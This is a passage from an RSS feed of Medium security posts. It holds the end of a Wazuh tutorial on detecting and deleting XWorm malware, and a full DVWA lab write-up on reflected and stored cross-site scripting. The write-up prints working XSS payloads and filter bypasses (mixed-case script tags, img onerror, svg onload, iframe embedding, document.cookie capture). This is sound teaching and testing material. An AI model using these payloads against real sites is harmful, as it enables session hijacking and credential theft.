creation of detection rules and the CDB list to identify XWorm, the next step was to configure the Active Response on the Windows endpoint. This ensures that any detected threat is automatically removed at the source, minimizing dwell time and preventing malware persistence.</p><h3>Deploying the Active Response Script</h3><p>We created an Active Response script that automatically deletes any identified XWorm variant as soon detected and flagged by the CDB list on the agent.</p><p>The script was named remove-threat.py with the following content:</p><pre>#!/usr/bin/python3<br># Copyright (C) 2015-2022, Wazuh Inc.<br># All rights reserved.<br> <br>import os<br>import sys<br>import json<br>import datetime<br> <br>if os.name == &#39;nt&#39;:<br>    LOG_FILE = &quot;C:\\Program Files (x86)\\ossec-agent\\active-response\\active-responses.log&quot;<br>else:<br>    LOG_FILE = &quot;/var/ossec/logs/active-responses.log&quot;<br> <br>ADD_COMMAND = 0<br>DELETE_COMMAND = 1<br>CONTINUE_COMMAND = 2<br>ABORT_COMMAND = 3<br> <br>OS_SUCCESS = 0<br>OS_INVALID = -1<br> <br>class message:<br>    def __init__(self):<br>        self.alert = &quot;&quot;<br>        self.command = 0<br> <br>def write_debug_file(ar_name, msg):<br>    with open(LOG_FILE, mode=&quot;a&quot;) as log_file:<br>        log_file.write(str(datetime.datetime.now().strftime(&#39;%Y/%m/%d %H:%M:%S&#39;)) + &quot; &quot; + ar_name + &quot;: &quot; + msg +&quot;\n&quot;)<br> <br>def setup_and_check_message(argv):<br> <br>    # get alert from stdin<br>    input_str = &quot;&quot;<br>    for line in sys.stdin:<br>        input_str = line<br>        break<br> <br> <br>    try:<br>        data = json.loads(input_str)<br>    except ValueError:<br>        write_debug_file(argv[0], &#39;Decoding JSON has failed, invalid input format&#39;)<br>        message.command = OS_INVALID<br>        return message<br> <br>    message.alert = data<br> <br>    command = data.get(&quot;command&quot;)<br> <br>    if command == &quot;add&quot;:<br>        message.command = ADD_COMMAND<br>    elif command == &quot;delete&quot;:<br>        message.command = DELETE_COMMAND<br>    else:<br>        message.command = OS_INVALID<br>        write_debug_file(argv[0], &#39;Not valid command: &#39; + command)<br> <br>    return message<br> <br> <br>def send_keys_and_check_message(argv, keys):<br> <br>    # build and send message with keys<br>    keys_msg = json.dumps({&quot;version&quot;: 1,&quot;origin&quot;:{&quot;name&quot;: argv[0],&quot;module&quot;:&quot;active-response&quot;},&quot;command&quot;:&quot;check_keys&quot;,&quot;parameters&quot;:{&quot;keys&quot;:keys}})<br> <br>    write_debug_file(argv[0], keys_msg)<br> <br>    print(keys_msg)<br>    sys.stdout.flush()<br> <br>    # read the response of previous message<br>    input_str = &quot;&quot;<br>    while True:<br>        line = sys.stdin.readline()<br>        if line:<br>            input_str = line<br>            break<br> <br>    # write_debug_file(argv[0], input_str)<br> <br>    try:<br>        data = json.loads(input_str)<br>    except ValueError:<br>        write_debug_file(argv[0], &#39;Decoding JSON has failed, invalid input format&#39;)<br>        return message<br> <br>    action = data.get(&quot;command&quot;)<br> <br>    if &quot;continue&quot; == action:<br>        ret = CONTINUE_COMMAND<br>    elif &quot;abort&quot; == action:<br>        ret = ABORT_COMMAND<br>    else:<br>        ret = OS_INVALID<br>        write_debug_file(argv[0], &quot;Invalid value of &#39;command&#39;&quot;)<br> <br>    return ret<br> <br>def main(argv):<br> <br>    write_debug_file(argv[0], &quot;Started&quot;)<br> <br>    # validate json and get command<br>    msg = setup_and_check_message(argv)<br> <br>    if msg.command &lt; 0:<br>        sys.exit(OS_INVALID)<br> <br>    if msg.command == ADD_COMMAND:<br>        alert = msg.alert[&quot;parameters&quot;][&quot;alert&quot;]<br>        keys = [alert[&quot;rule&quot;][&quot;id&quot;]]<br>        action = send_keys_and_check_message(argv, keys)<br> <br>        # if necessary, abort execution<br>        if action != CONTINUE_COMMAND:<br> <br>            if action == ABORT_COMMAND:<br>                write_debug_file(argv[0], &quot;Aborted&quot;)<br>                sys.exit(OS_SUCCESS)<br>            else:<br>                write_debug_file(argv[0], &quot;Invalid command&quot;)<br>                sys.exit(OS_INVALID)<br> <br>        try:<br>            os.remove(msg.alert[&quot;parameters&quot;][&quot;alert&quot;][&quot;syscheck&quot;][&quot;path&quot;])<br>            write_debug_file(argv[0], json.dumps(msg.alert) + &quot; Successfully removed threat&quot;)<br>        except OSError as error:<br>            write_debug_file(argv[0], json.dumps(msg.alert) + &quot;Error removing threat&quot;)<br>           <br>       <br>    else:<br>        write_debug_file(argv[0], &quot;Invalid command&quot;)<br> <br>    write_debug_file(argv[0], &quot;Ended&quot;)<br> <br>    sys.exit(OS_SUCCESS)<br> <br>if __name__ == &quot;__main__&quot;:<br>    main(sys.argv)</pre><p>In the Wazuh Active Response setup for Windows, the Python script remove-threat.py cannot run directly on all endpoints due to dependency on a Python interpreter. To ensure seamless execution by the Wazuh agent, the script was converted into a standalone Windows executable (remove-threat.exe).</p><h3>Conversion Process</h3><h4><strong>Python Install</strong></h4><p>If the endpoint has <a href="https://www.python.org/downloads/">Python</a> 3.14 installed (with pip), skip to the next step, otherwise follow the link and install python on the endpoint and make sure to select the following checkboxes during installation:</p><ul><li>Add Python.exe to PATH</li><li>Use admin privileges when installing py.exe</li></ul><blockquote>Disable the path length limit if the installation is giving you problems</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ADxQfIebVMo3sVoL7GGChg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Um-p5PucKnpsdQf1e9T77Q.png" /><figcaption>Disable the path length limit</figcaption></figure><p><strong>Install PyInstaller</strong><br> On a system with Python 3 installed, PyInstaller was installed via pip:</p><pre>pip install -U pyinstaller</pre><p>PyInstaller packages Python scripts into standalone executables that include the interpreter and required libraries, allowing execution on machines without Python installed.</p><p><strong>Navigate to the Script Directory</strong><br> The folder containing remove-threat.py was accessed and the script was converted using PyInstaller with the following command:</p><pre>pyinstaller -F remove-threat.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MepK2C-1d6VPjW6s1xdTeQ.png" /></figure><p><strong>Locate the Executable</strong><br>Upon completion, PyInstaller creates a dist folder in the working directory containing remove-threat.exe.</p><p>Because this is a custom script, no out-of-the-box Windows active-response command from Wazuh is used. The agent configuration must be ready to accept external commands (custom script execution). According to the Wazuh documentation on active response, custom scripts should be placed in the agent’s active-response\bin directory so they can be executed when triggered.</p><p>This file is then copied to the Wazuh agent’s Active Response directory:</p><ul><li>C:\Program Files (x86)\ossec-agent\active-response\bin\</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTnh2dAO1ld7FG5-Y4X-MQ.png" /></figure><h3>Configuring the Wazuh Active Response Module on Wazuh Server</h3><p>Once the custom active‑response script (remove-threat.exe, compiled from theremove-threat.py) is deployed on the Windows agent, the next step is to configure the server to trigger that script automatically when the detection rules (based on CDB list hits) fire.</p><h3>Defining the Active Response Command</h3><p>On the Wazuh manager, open the main configuration file located at /var/ossec/etc/ossec.conf. Within the &lt;ossec_config&gt; scope, a &lt;command&gt; block must be defined to map a name to the executable that should run on the agent.</p><p>Add the following configuration block</p><pre>&lt;command&gt;<br>  &lt;name&gt;remove-threat&lt;/name&gt;<br>  &lt;executable&gt;remove-threat.exe&lt;/executable&gt;<br>  &lt;timeout_allowed&gt;no&lt;/timeout_allowed&gt;<br>&lt;/command&gt;</pre><ul><li>The &lt;name&gt; tag defines the label by which Wazuh refers to the command</li><li>The &lt;executable&gt; tag specifies the actual file that will be executed on the agent when triggered (remove-threat.exe). This should match the filename of the compiled active‑response binary deployed to the agent’s active-response\bin folder.</li><li>&lt;timeout_allowed&gt; set to no means the action will run and not revert after a timeout; suitable for deletion actions where you don’t intend to revert.</li></ul><h3>Configuring the Active Response Trigger</h3><p>Still in /var/ossec/etc/ossec.conf, define an &lt;active-response&gt; block that ties the detection rule(s) to the command defined above. For example:</p><pre>&lt;active-response&gt;<br>  &lt;disabled&gt;no&lt;/disabled&gt;<br>  &lt;command&gt;remove-threat&lt;/command&gt;<br>  &lt;location&gt;local&lt;/location&gt;<br>  &lt;rules_id&gt;100025&lt;/rules_id&gt;<br>&lt;/active-response&gt;</pre><p>Meaning of fields:</p><ul><li>&lt;disabled&gt; set to no enables this active response.</li><li>&lt;command&gt; references the command name defined earlier (remove-threat).</li><li>&lt;location&gt; set to local instructs Wazuh to run the command on the agent (the affected Windows host) rather than on the server.</li><li>&lt;rules_id&gt; lists the rule ID that trigger this action (in this case100025), which corresponds to the custom rule we created that alerts when a file hash in the CDB list is matched.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EbHtHYSAf0eMODOs-5g_iw.png" /></figure><h3>Define Alert Rules for Active Response Outcomes</h3><p>To track whether the active response succeeded or failed, additional custom rules can be added to the server’s local_rules.xmllocated at /var/ossec/etc/rules/local_rules.xml</p><pre>&lt;group name=&quot;xworm-removal,&quot;&gt;<br>  &lt;rule id=&quot;100040&quot; level=&quot;13&quot;&gt;<br>    &lt;if_sid&gt;657&lt;/if_sid&gt;<br>    &lt;match&gt;Successfully removed threat&lt;/match&gt;<br>    &lt;description&gt;$(parameters.program): Successfully removed threat $(parameters.alert.syscheck.path) whose SHA256 hash appears in a malware blacklist.&lt;/description&gt;<br>  &lt;/rule&gt;<br><br>  &lt;rule id=&quot;100041&quot; level=&quot;13&quot;&gt;<br>    &lt;if_sid&gt;657&lt;/if_sid&gt;<br>    &lt;match&gt;Error removing threat&lt;/match&gt;<br>    &lt;description&gt;$(parameters.program): Error removing threat $(parameters.alert.syscheck.path) whose SHA256 hash appears in a malware blacklist.&lt;/description&gt;<br>  &lt;/rule&gt;  <br>&lt;/group&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2tYJK9jM03O5gLZ4ihFrbw.png" /></figure><p>These rules watch the active‑response log output and generate alerts accordingly, giving visibility into successful clean‑ups 100040or failures 100041.</p><p>After this change, a restart of the Wazuh manager is required:</p><pre>sudo systemctl restart wazuh-manager</pre><h3>Final Outcome of Server-Side Configuration</h3><p>With these configurations in place:</p><ul><li>The CDB list is loaded and associated with the detection rules.</li><li>When the Windows agent reports a file integrity alert (new file, modified file) and the file hash matches an entry in the CDB list, the server triggers the named active response.</li><li>The server instructs the Windows agent to run the remove-threat.exe, which deletes the malicious file.</li><li>Active‑response logs are captured and re‑ingested by Wazuh to generate follow-up alerts indicating success or failure of the response.</li></ul><p>This server‑side setup completes the automation loop: from detection to containment without requiring manual intervention, aligning with security operations best practices for rapid incident response against malware such as XWorm.</p><h3>Viewing the Active Response Alerts on the Wazuh Dashboard</h3><p>After configuring Active Response on both the Windows endpoint and the Wazuh server, it was essential to verify that alerts were being generated correctly and that responses were executing as expected. After our malware script was executed we can visulaise all alerts beignndisplayed for a successful removal of the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jsYBUNLSEAHUvdvgtSqqw.png" /></figure><p>Through this workflow, the Wazuh deployment achieves an integrated security posture where detection, alerting, and automated response are fully observable in a single, centralized interface. This is a critical capability for any modern security operations team, particularly when dealing with evasive malware like XWorm.</p><h3>Outcome summary</h3><p>The project produced a focused detection and containment capability for XWorm style RAT activity on a Windows endpoint. The combination of CDB based indicators and behavioral rules enabled reliable detection of simulated infections. Active Response successfully removed simulated artifacts and stopped test processes, demonstrating automated containment without manual intervention.</p><p><strong>Key findings and operational impact</strong><br> • CDB lists provide efficient and low complexity matching for known filenames and hashes and reduce rule maintenance overhead.<br> • Behavioral rules that correlate process creation, suspicious child processes and registry autostart modifications increase detection fidelity and reduce false positives compared to signature only approaches.<br> • Active Response is effective for rapid containment but needs careful scoping to avoid disrupting legitimate processes.<br> • High quality telemetry from Sysmon and WinEventLog is essential for both detection and forensic follow up.</p><p><strong>Recommendations and next steps</strong><br> • Harden the Windows agent baseline with Sysmon configured to capture process creation command line arguments, file creation events and registry changes.<br> • Maintain and rotate the CDB indicator lists using a documented pull process tied to threat intelligence feeds and internal telemetry.<br> • Apply escalation rules that escalate to human review for medium confidence matches prior to automated remediation.<br> • Log and archive all Active Response actions for audit and rollback capability.<br> • Extend the same pattern to detect other RAT families and to integrate with incident response playbooks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lVhPGBN0QRCMvXcGtA20Aw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=999dde1ae995" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comprehensive Cross Site Scripting Assessment From Reflective Payloads to Persistent Exploits and…]]></title>
            <link>https://kizerh.medium.com/comprehensive-cross-site-scripting-assessment-from-reflective-payloads-to-persistent-exploits-and-db48c8d88b8a?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/db48c8d88b8a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Wed, 26 Nov 2025 19:12:11 GMT</pubDate>
            <atom:updated>2025-11-26T19:12:11.605Z</atom:updated>
            <content:encoded><![CDATA[<h3>Comprehensive Cross Site Scripting Assessment From Reflective Payloads to Persistent Exploits and Practical Mitigations</h3><p>Author: <a href="https://kiza.online/">https://kiza.online/</a></p><h3>Overview</h3><p>This project explored the exploitation of Cross-Site Scripting (XSS) vulnerabilities using the Damn Vulnerable Web Application (DVWA). The exercise was designed to simulate real-world web application attacks where user-supplied input is not properly validated or sanitized. The lab provided hands-on experience in executing both <strong>Reflective XSS</strong> and <strong>Stored XSS</strong> across multiple security levels (Low, Medium, High), demonstrating how varying coding practices impact the security of a web application.</p><h3>The Challenge</h3><p>The challenge was to determine how input validation weaknesses could be exploited in DVWA to inject and execute malicious scripts. Reflective XSS tested the immediate response of the application to injected payloads, while Stored XSS focused on persistent attacks where the malicious input was saved and re-executed whenever the page was loaded. These attacks model real adversarial tactics used to steal credentials, hijack sessions, or distribute malware.</p><h3>The Approach</h3><p>The approach followed a penetration testing methodology:</p><ol><li>Identify vulnerable input points in DVWA.</li><li>Inject crafted payloads using JavaScript.</li><li>Test across Low, Medium, and High security levels.</li><li>Analyze backend code where accessible to understand filtering methods.</li><li>Attempt bypasses by modifying payloads.</li><li>Evaluate the implications of successful injections.</li></ol><p>This structured progression mirrored the escalation techniques attackers use when facing different defensive implementations.</p><h3>Tools used</h3><ul><li><strong>Kali Linux VM</strong> (attacker environment)</li><li><strong>Damn Vulnerable Web Application (DVWA)</strong> running on target host</li><li><strong>Browser developer tools</strong> for source code review and analysis</li><li><strong>JavaScript payloads</strong> for simulating malicious input</li></ul><h3>The Execution</h3><h3>Part 1: Reflective Cross Site Scripting Exploits</h3><h4>Log into DVWA</h4><p>The first step was to establish authenticated access to the Damn Vulnerable Web Application (DVWA). From the Kali Linux virtual machine, I opened a browser and navigated to the IP address of my DVWA container as I already have DVWA running in a docker container. At the login screen, I entered the provided credentials: admin as the username and password as the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQf4FXoKFNo3elFZRWfijA.png" /></figure><p>This step was necessary because DVWA requires authentication before accessing its modules, including the XSS sections, this ensured that I could interact with the application’s vulnerable components under the same conditions an attacker would face after compromising valid credentials.</p><h4>Reflected XSS Attack at Low Security Level</h4><p>With DVWA set to the <strong>Low</strong> security level, I navigated to the <strong>XSS (Reflected)</strong> module. To verify how the application handled user-supplied input, I first entered a benign string Reflected_Test into the <em>What’s your name?</em> field and clicked <strong>Submit</strong>. The application responded with the message <em>Hello Reflected_Test</em>. Viewing the page source confirmed that the raw input had been directly inserted into the HTML output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N8JSZTdlJg0Pg_SsIzi40A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMqns22zwCOrk3ZYXwMuAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sr8Y6iBSkwLxtPAgL7Nqhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbilj8IHGAN6sDi8iN49vA.png" /></figure><p>This confirmed that the field will like be vulnerable because no sanitization or encoding was applied to the input. To validate the exploitability, I replaced the test string with a malicious payload:</p><pre>&lt;script&gt;alert(&quot;You are hacked!&quot;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0oadVBiLdniUAcD_-647CQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWFBkLF56axZq2prYQ8hDg.png" /></figure><p>Upon submission, the browser executed the script and displayed a popup alert with the message <em>You are hacked!</em>.</p><p>This result demonstrated that the application’s output reflected my input back to the user without validation, allowing arbitrary JavaScript execution. To further confirm the risk, I copied the URL from the browser, opened it in a new tab, and observed the same popup appearing automatically. In a real-world scenario, this would allow an attacker to craft and distribute malicious links, enabling phishing attacks or credential theft when unsuspecting users visited the page.</p><h4>Reflected XSS Attack at Medium Security Level</h4><p>Next, I increased DVWA’s security setting to <strong>Medium</strong> and returned to the <strong>XSS (Reflected)</strong> module. I attempted the same payload:</p><pre>&lt;script&gt;alert(&quot;You are hacked!&quot;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7ZBzZWqbJ5LmXmu2iT4wQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zps5VJ3LqAELMkCdcI0yWA.png" /></figure><p>This time, the response displayed <em>Hello &lt;script&gt;alert(“You are hacked!”)&lt;/script&gt;</em> as literal text, and no popup appeared.</p><p>To understand why the script did not execute, I reviewed the backend code by clicking the <strong>View Source</strong> button available at the bottom right in DVWA. The PHP code contained the following line:</p><pre>$name = str_replace(&#39;&lt;script&gt;&#39;, &#39;&#39;, $_GET[&#39;name&#39;]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EijY8VNZDPYxSMRblMIewA.png" /></figure><p>This revealed that the application attempted to filter out the &lt;script&gt; tag by removing it entirely from the input. While this blocked the lowercase version, the filter was case-sensitive.</p><p>To test a bypass, I submitted a variant payload:</p><pre>&lt;ScRipt&gt;alert(&quot;You are hacked!&quot;)&lt;/ScRipt&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jlqYx83pg05d54DrmVAAIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-FpGH2oP2vy4PqUoGgQMFw.png" /></figure><p>The popup executed successfully.</p><p>This confirmed that the Medium-level filter was inadequate. In practice, attackers often manipulate casing or obfuscate payloads to evade simple string-based filters. The success of this bypass illustrated how incomplete sanitization measures create a false sense of security while still leaving the application vulnerable.</p><h4>Reflected XSS Attack at High Security Level</h4><p>Finally, I set DVWA’s security level to <strong>High</strong> and revisited the <strong>XSS (Reflected)</strong> module. The same payload was attempted:</p><pre>&lt;ScRipt&gt;alert(&quot;You_are_hacked!&quot;)&lt;/ScRipt&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQ4FwI611AsTAcXnHA-4aw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3gaQ3cEBlQrX19Ejp3EkdA.png" /></figure><p>The output displayed the text but did not trigger an alert.</p><p>Reviewing the source code revealed a stronger defense mechanism:</p><pre>$name = preg_replace(&#39;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#39;, &#39;&#39;, $_GET[&#39;name&#39;]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UtEo4t1IKTY0Ub_uN3ti0w.png" /></figure><p>This regular expression filtered out any variation of the &lt;script&gt; tag, regardless of casing, by removing it entirely from the input. While this prevented <strong>script-based</strong> injections, it was still susceptible to alternative vectors.</p><p>To test this, I crafted a different payload leveraging the onerror event in an image tag:</p><pre>&lt;img src=x onerror=alert(&quot;You_are_hacked!&quot;)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SKElvxkyEaPyewGizRf-ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVBxEjrrESba4x3wdbDXWQ.png" /></figure><p>Upon submission, the browser displayed the <em>You are hacked!</em> popup.</p><p>This bypass worked because the filter was narrowly focused on detecting script tags, overlooking other HTML elements with <strong>event-driven</strong> attributes that can execute JavaScript. The exploit demonstrated how determined attackers can pivot to alternative payloads to bypass even stricter defenses. In a real penetration test, this finding would be reported as evidence that regex-based blacklisting is not a complete solution and that comprehensive output encoding or frameworks are required to eliminate XSS risks.</p><h3>Part 2: Stored Cross Site Scripting Exploits</h3><p>In a stored XSS attack, a malicious script is injected through user input and permanently saved on the target server; commonly in a message forum, database, visitor log, or comment section. When another user accesses the affected page, the server delivers the stored script, exposing the user to the malicious code.</p><h4>Stored XSS Attack at Low Security Level</h4><p>With DVWA security set to <strong>Low</strong>, I navigated to the <strong>XSS (Stored)</strong> module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUoTavTbl6uNSq6JsmkJCQ.png" /></figure><p>To establish a baseline, I submitted harmless input by entering XSS Test#1 in the <strong>Name</strong> field and Stored XSS Test in the <strong>Message</strong> field, then clicked <strong>Sign Guestbook</strong>. Both strings appeared directly on the page, and inspecting the HTML source confirmed they were stored without sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rlg3874lK9srZT2We_JP2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90QLfGRaavnIZg1BcX1NXw.png" /></figure><p>Next, I submitted the following payload in the <strong>Message</strong> field:</p><pre>&lt;script&gt;alert(&quot;You are hacked!&quot;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w8JOD0eXV_m8enTxrDN3Zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zel-7FbozGr-LEy599vDmw.png" /></figure><p>The browser immediately displayed a popup alert, and refreshing the page triggered the alert again.</p><p>At Low security, no backend filtering was applied. The raw payload was inserted into the database and re-rendered as-is on every page load. This demonstrated a fully exploitable stored XSS vulnerability that would affect every visitor.</p><h4>Stored XSS Attack at Medium Security Level</h4><p>After increasing DVWA’s security to <strong>Medium</strong>, I submitted the same script payload:</p><pre>&lt;script&gt;alert(&quot;You are hacked!&quot;)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_AoNippTFGJ-8kLv25jPFg.png" /></figure><p>Instead of executing, the payload was displayed as plain text.</p><p>To understand why, I examined the backend source code for this level. The PHP snippet revealed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wfJ4V4oFIdY4vno5DQjXA.png" /></figure><p>You will see two blocks of code with the word <strong>Sanitize</strong>. The first block of code, under <strong>// Sanitize message input</strong>, contains two PHP functions for performing input sanitization.</p><pre>// Sanitize message input<br>$message = strip_tags( addslashes( $message ) );<br>$message = mysql_real_escape_string( $message );<br>$message = htmlspecialchars( $message );</pre><p>The <strong>strip_tags()</strong> function removes all html tags from the message field before storing them in the database .</p><p>The <strong>htmlspecialchars()</strong> function converts all special characters into equivalent HTML entities so they are not reflected back in the browser.</p><p>The second block of code under <strong>// Sanitize name input</strong></p><pre>// Sanitize name input<br>$name = str_replace( &#39;&lt;script&gt;&#39;, &#39;&#39;, $name );<br>$name = mysql_real_escape_string( $name );</pre><p>This approach attempts to filter malicious input by removing &lt;script&gt; tags. However, the replacement was case-sensitive. To bypass the filter, I increased the max-lenght of the Name * input field in the page source.</p><p>After that I entered the payload in the Name * field:</p><pre>&lt;ScRipt&gt;alert(&quot;You are hacked again, dummy&quot;)&lt;/ScRipt&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEFX5KZNZu0gKw__N0HJsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7Se04qlu4PtEeHXapB3Ng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGonK2dINHMMAMj3qv82xg.png" /></figure><p>The browser displayed the alert popup successfully.</p><p>This proved that the Medium-level filter was ineffective. In a real-world scenario, attackers can easily evade such blacklists through case manipulation, HTML encoding, or other obfuscation techniques.</p><h4>Stored XSS Attack at High Security Level</h4><p>Switching DVWA to <strong>High</strong> security, I attempted both lowercase and mixed-case script tags. Neither executed; instead, the inputs appeared as plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*geXAkbitSdWcqKzyzoxqLA.png" /></figure><p>Inspecting the backend code showed a stronger regex-based filter:</p><pre>$name = preg_replace(&#39;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#39;, &#39;&#39;, $_POST[&#39;name&#39;]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddh7xOVZmkw8xSbIbDstIw.png" /></figure><p>This regular expression stripped out variations of &lt;script&gt; regardless of casing. However, it was still narrowly focused. To bypass it, I increased the max-lenght of the input field first then, I used a different payload that relied on an HTML attribute rather than a script tag:</p><pre>&lt;svg onload=alert(&quot;You_are_hacked&quot;)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYLYsAU5pprMG_zdwUjY2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqdxQXNoFkjj_KkcI-PQZg.png" /></figure><p>The popup executed successfully.</p><p>This demonstrated the limitations of regex blacklisting. Although stricter than Medium, it failed to account for the many alternative HTML elements and event handlers that can execute JavaScript.</p><h3>Stored Iframe Exploit</h3><p>To illustrate more advanced XSS abuse, I submitted an iframe payload (my website 😉) into the <strong>Name</strong> field:</p><pre>&lt;iframe src=&quot;&lt;https://kiza.online&gt;&quot;&gt;&lt;/iframe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vfzwz67Qs_TfDRT3flEstw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XmRcLqb5lWWebX5IzlCaNA.png" /></figure><p>On reload, the iframe was rendered inside the application. This could be abused by attackers to embed phishing pages or malicious external sites within a trusted application. In production, such an exploit could trick users into entering credentials into an attacker-controlled page seamlessly embedded in the legitimate site.</p><h3>Stored Cookie Exploit</h3><p>The final test focused on session hijacking. I submitted this payload in the <strong>Message</strong> field:</p><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrYFF4QBcgLy0gEcsUJLOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z6O1Q4X3CtU6zkoUlF9S4g.png" /></figure><p>After submission, the browser displayed an alert showing the active session cookie values.</p><p>While the project used alert() for demonstration, a real-world attacker would exfiltrate this data silently using JavaScript functions like fetch() or XMLHttpRequest to transmit cookies to an external server. This would allow the attacker to hijack active sessions and impersonate authenticated users.</p><p>This exploit highlighted the true severity of stored XSS: it can directly lead to account takeover, identity theft, and full compromise of application integrity.</p><h3>The Outcome</h3><p>This project successfully demonstrated both <strong>Reflective XSS</strong> and <strong>Stored XSS</strong> attacks against DVWA at Low, Medium, and High security settings. Key findings included:</p><ul><li>Low security levels allowed direct execution of payloads.</li><li>Medium levels applied naïve filtering that could be bypassed with case variations.</li><li>High levels used stronger regex filtering but still missed alternative vectors such as event handlers.</li></ul><h4><strong>Lessons learned:</strong></h4><ul><li>Input validation must be context-aware and exhaustive.</li><li>Relying solely on blacklists or simple string replacements is insufficient.</li><li>Stored XSS poses a greater risk than reflective, as it affects all subsequent users.</li><li>Modern applications must combine input sanitization, output encoding, and security frameworks to fully mitigate XSS.</li></ul><p>This project underscored the importance of secure coding and penetration testing in preventing one of the most common and dangerous classes of web vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37-A3jgqMnBM-5YiMDJvdw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db48c8d88b8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability Assessment and Exploitation: Leveraging GVM, Nmap, and RSH for Complete Host…]]></title>
            <link>https://kizerh.medium.com/vulnerability-assessment-and-exploitation-leveraging-gvm-nmap-and-rsh-for-complete-host-6d09a12ea5df?source=rss-51da61495e5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d09a12ea5df</guid>
            <category><![CDATA[vulnerability-scanning]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Kiza]]></dc:creator>
            <pubDate>Tue, 25 Nov 2025 14:46:54 GMT</pubDate>
            <atom:updated>2025-11-25T14:46:54.214Z</atom:updated>
